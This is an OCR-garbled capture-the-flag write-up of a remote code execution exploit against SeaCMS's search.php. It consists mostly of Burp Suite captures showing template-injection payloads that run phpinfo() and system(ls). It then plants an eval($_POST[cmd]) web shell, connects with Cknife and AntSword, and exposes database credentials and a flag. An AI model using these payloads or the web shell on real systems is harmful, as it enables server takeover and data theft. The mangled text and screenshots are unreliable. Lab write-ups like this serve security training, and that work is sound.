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searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searc

hpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=0ST[9]))&9[ ]=ph&9[ ]=pinfo();
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Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz - | >
Burp Intruder Repeater Window Help

[Target I Proxy ISp\der I Scanner I Intruder I Repeater ISequeﬂcer I Decoder I Comparer IExTender IPFDJECI options IUser options IA\ens ]
1= |..
Go Cance < | >\ Target: http://3d457c94b92d40568cd5cT6a33ad1d218caffB6ffefi48b7.changame.ichungiu.com [fj w
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ]' Render ]

POST /search.php HTTP/1.1
Host: 3d457c94b92d40568cd5c76a33a91d218cafB6fef24807 . changame.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rvb4.0) Gecko/20100101 P H P Ve rsion 5.5.9-1 u buntu4. 1 9

Firefox/64.0

Accept: text/html,application/xhtml+xml application/xml;q=0.9 **q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5,en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

.

L

E:::fgﬁasrcgab92dx10558cd5c76a33a91 {218caMBEMe48b7. changame. ichungiu.com/ Syae B L o) R e ST
Content-Type: application/s-www-form-urlencoded Build Date A AU B

Content-Length: 208 Server API Apache 2.0 Handler

Cannectigigciose o Virtual disabled

Cookie: _ jsluid=2e4196daed3chbaefihf357087 1715, Directory

PHPSESSID=mlgokmendajhm2re23arsjgj17 Support

Upgrade-Insecure-Requests: 1 Configuration | fetc/ohpSiapache2

File (php.ini)
searchtype=5&searchword={if{searchpage: yearjfyear=e{searchpage:areal}farea=v{sear Path
chpage: letterjdletter=al{searchpage:lang}&yuyan=(jcin{searchpage:jo}&jg=(3_P{s=archpa
gever}fByer=0ST([3])) E9[Fph&a[|=pinfa(); Loaded Jetcihps/apache2iphp i
Configuration
File

Scan this dir letciphpSiapache2iconf.d
for additional
.ini files

Additional .ini ietciphpSiapache2iconf d/05-opcache ini, fetciphpSiapache2icont d/ O-pdo.ini,
files parsed letciphpSiapache2iconf d/20-gd.ini, fetciphpS/apache2/conf d/20-son ini,
letciphpSiapache2iconf d/20-mysglini, fetciphpSiapache2/conf di20-mysgliini,
fetciphpSiapache2iconf d/20-pdo_mysglini, letciphpSlapache2/conf.di20-readline.ini

PHP AP| 20121113

PHP Extension [[20121212

Zend 2m21212
Extension
9
v Zend APIZ20121212 NTS L
P - 0 match Extension v
< + > L temm
[ matches P = e I
Done 32,419 bytes | 246 millis
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searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searc

hpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=0ST[9]))&9[]=&9[ ]=system(1ls);



GEINEEE

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz | >
Burp Intruder Repeater Window Help
[Target I Proxy I Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Project options I User options IA\erts ]
1= |..
Go Cancel <|v > Target: http://3d457c94b92d40568cd5cT6allad1d218caffé6ifef948b7.changame.ichungiu.com [ﬁj ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST fsearch.php HTTP/1.1 : 360safe b
Host: 3d457c94b92d40568cd5c76a33a91d218caffB6fef24807 changame.ichungiu.com 404.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rvb4.0) Gecko/20100101 admin
Firefox/64.0 article
Accept: text/html,application/xhtml+xml application/xml;q=0.9 *1*q=0.8 articlelist
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5,en-US;q=0.3 en;g=0.2 comment
Accept-Encoding: gzip, deflate comment.php
Referer: data
hitp:/i3d457 c940b92d40568c d5cTEa33a91 d2 18 affabffef24807 . changame.ichungiu.com/ desktop.php
Content-Type: application/x-www-farm-urlencoded detail
Content-Length: 209 exit.php
Connection: close ghook.php
Cookie: _ jsluid=2e4196daed8chbasfibi3570:87 17215, include
PHPSESSID=mlqokmendajhm2re23arsjgj17 index.php
Upgrade-Insecure-Requests: 1 install
js
searchtype=5&searchword={if{searchpage: yearjfyear=e{searchpage:areal}farea=v{sear list
chpage: letterj&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jg=(%_P{s=archpa login.php
gever}flyver=0ST[3]) 9[9[ [=system(ls); member.php
news
pic
reg.php
search.php
so.php
tag.php
templets
topic
topiclist
update
uploads
video
xml
zyapi.php
=
v I
liJ liJ l;J l;J 0 matches lij l <J u [iJ Type a search term 0 matches
Done 457 bytes | 210 millis
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K Wiflag R A R FFETE T HUE B
XEERERASR A RXA T, #getshell T
#e— getshelliFiF

Hipayload:

http://3d457c94b92d40568cd5c76a33a91d218caff86ffef948b7.changame.ichunqiu.com/search.php?searchtype=5&tid=&area

eval($ _POST[cmd])
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HE Cknife 1.0 Release

hitps://blog.csdn.net/gq_4

R ERACE:

<T>MYSQL</T>
<H>127.0.0.1</H>
<U>sea_user</U>
<P>46€06533407e< /P>
<N>seacms< /N>
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FRIEREZBIEE, KEFflag:

@ HEE

AntSword &E B[O FEE
4« == =122.228.238.6

S@REME < |« thiTSQL

O | FHEE | WS P ihiT X FE

= gk mysql://sea_user@localhost - 1 SELECT * FROM ~flag_14@ad2e@d8cb™ ORDER BY 1 DESC LIMIT @,28;

& information_schema
- B seacms
- B flag_140ad2e0d8ch
[T1 flag (varchar(128))

R sea_admin

FR sea_arcrank ahfee

B sea_buy .-

BH sea_cck

B sea_co_cls i

FR sea_co_config flag{ead25998-eebd-4e4a-baba-d4611304bff2}

HH sea_co_data
BR sea_co_filters
R sea_co_news
R sea_co_type
R sea_co_url
BR sea_comment
FR sea_content
R sea_count
FR sea_crons
B sea_data

BH sea_erradd
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